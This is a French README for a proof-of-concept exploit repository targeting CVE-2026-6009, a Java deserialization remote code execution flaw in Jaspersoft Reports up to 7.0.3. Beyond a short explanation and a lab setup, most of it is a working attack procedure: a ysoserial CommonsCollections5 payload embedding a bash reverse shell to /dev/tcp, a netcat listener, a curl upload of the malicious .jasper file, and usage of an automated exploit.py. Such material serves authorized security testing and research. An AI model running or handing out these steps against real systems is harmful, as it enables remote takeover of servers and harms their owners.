
Exploit de PoC automatisé pour CVE-2026-6009, une RCE par désérialisation Java dans Jaspersoft Reports <=7.0.3. Génère des payloads malveillants .jasper via ysoserial et délivre un reverse shell via le point de téléversement de fichiers.
⚠️ Avertissement : Ce dépôt est destiné à des fins éducatives et à des tests de sécurité autorisés uniquement. Ne pas utiliser contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite explicite.
La bibliothèque de rapports Jaspersoft version <= 7.0.3 est vulnérable à une exécution de code à distance (RCE) en exploitant le flux de désérialisation Java. Cette vulnérabilité permet à un attaquant d'établir une connexion avec un shell inversé sur le système utilisant cette version de la bibliothèque.
Pour transmettre des données, certains systèmes doivent convertir un objet dans un format transmissible spécifique, c'est la sérialisation. La désérialisation est l'opération inverse. En Java, le mécanisme vulnérable se trouve dans ObjectInputStream.readObject() qui est utilisé pour désérialiser n'importe quel objet à partir d'un flux d'entrée. Étant donné que utilise cette méthode pour lire les fichiers de rapport dans la bibliothèque Jaspersoft, c'est un point d'entrée dangereux pour injecter du code malveillant.
JRLoader.loadObject()readObject() seul ne suffit pas à déclencher du code. Cela ne fonctionne que sur des classes connues exploitables. Les attaquants utilisent donc des chaînes de gadgets connues telles que CommonCollection pour exécuter leurs charges utiles.
Pour pouvoir réaliser une preuve de concept (PoC), j'ai créé un laboratoire sur une machine Parrot avec un serveur Web Java utilisant la bibliothèque Jaspersoft Report :
OS : Parrot OS 7 GNU/Linux Framework : Spring Boot version 2.7.18 Dépendance : Jasperreports version 7.0.3 Environnement : Java 11 Compilateur : Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() appelé en interne par JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
Pour la première étape, une fois que vous savez que votre système cible utilise une version vulnérable de Jasperreport, vous devez trouver l'endroit exact où la cible recevra le fichier jasper.
Dans cet environnement, c'est http://localhost:8080/upload-report
Ensuite, vous devez trouver un moyen de découvrir quelle classe peut être utilisée comme chaîne de gadgets dans le système cible. Vous pouvez aussi en essayer quelques-unes et voir laquelle déclenche le système.
Dans un contexte boîte blanche, nous pouvons chercher cette information nous-mêmes :
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
Nous constatons que le système utilise CommonsCollections.
Pour CommonsCollections, utilisez le script ysoserial pour générer la charge utile souhaitée. Ici, créez un shell inversé :
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
Vous devrez probablement tester plusieurs versions de CommonCollections pour exécuter la charge utile.
Afin d'établir une connexion shell inversé, nous devons écouter sur un port pour recevoir la connexion du système cible initiée par la charge utile :
nc -lnvp 4444
Enfin, il suffit d'envoyer la charge utile que vous avez créée à l'emplacement trouvé et de vérifier votre port pour confirmer que la connexion a été établie depuis le système cible :
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
Un attaquant ayant accès au point de terminaison pourrait exécuter du code arbitraire avec les privilèges du serveur, ce qui pourrait entraîner une compromission complète du système.
exploit.py est un script automatisé pour reproduire l'exploitation de la vulnérabilité CVE-2026-6009.
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| Drapeau | Description |
|---|---|
| -t, --target | Emplacement où télécharger le fichier .jasper |
| -s, --source | Votre adresse IP |
| -p, --port | Le port auquel le shell inversé doit se connecter |